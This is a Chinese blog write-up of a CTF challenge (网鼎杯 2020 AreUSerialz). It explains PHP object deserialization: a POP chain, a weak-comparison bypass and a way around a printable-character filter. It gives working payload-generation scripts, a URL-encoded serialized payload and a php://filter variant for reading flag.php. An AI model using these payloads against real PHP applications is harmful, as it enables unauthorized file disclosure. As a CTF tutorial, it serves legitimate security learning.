这次遇到了跟常规的反序列化不一样,但本质都是一样的。
提了点难度的反序列化基本上都是加了一些特殊的机制或者过滤规则。
先来看看题目吧:
来自 [网鼎杯 2020 青龙组]AreUSerialz:
打开就是源码:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
按照常规思路就是找pop链,这里也很清晰,就是从__construct() => process() => read() =>output()。
按道理来说按要求直接赋属性值就行了,但是发现__destruct()方法里,用了强比较 "===" 来使得属性强制等于1,本来我们应该赋2的,但是发现其他地方使用的是弱类型比较 "==",
而且php也有这个特性:
$a = '1'; $b = 1; $a == $b; //true $a === $b; //false
那么我们只需要在赋值的时候赋$op = 2就能绕过此处了。
还有一处是在类外部的is_valid()函数:
(来自https://blog.csdn.net/Oavinci/article/details/106998738)
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
如:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
此处我们选择修改权限为public来绕过,payload生成:
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "balabala"; } $f = new FileHandler(); echo urlencode(serialize($f)); ?>
payload如下:
/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22balabala%22%3B%7D
输入网址就成功了,此处虽然没有回显,但我们查看一下源码,发现底部echo出来了。
总结:
特殊的绕过机制和过滤手段视情况而定;
没有直接回显出flag的可以查看一下源码。
----------------------------------------------------------------------------------
后来我又看了wp,发现这道直接可以文件包含伪协议。因为用了include()方法。
<?php class FileHandler { public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content = "balabala"; } $f = new FileHandler(); echo urlencode(serialize($a)); ?>
查看源码得到base64解码得到flag:
好像还可以直接找文件路径:
详见:https://blog.csdn.net/Oavinci/article/details/106998738
标签:function,PHP,res,22%,3A%,补档,output,序列化 From: https://www.cnblogs.com/EddieMurphy-blogs/p/17699675.html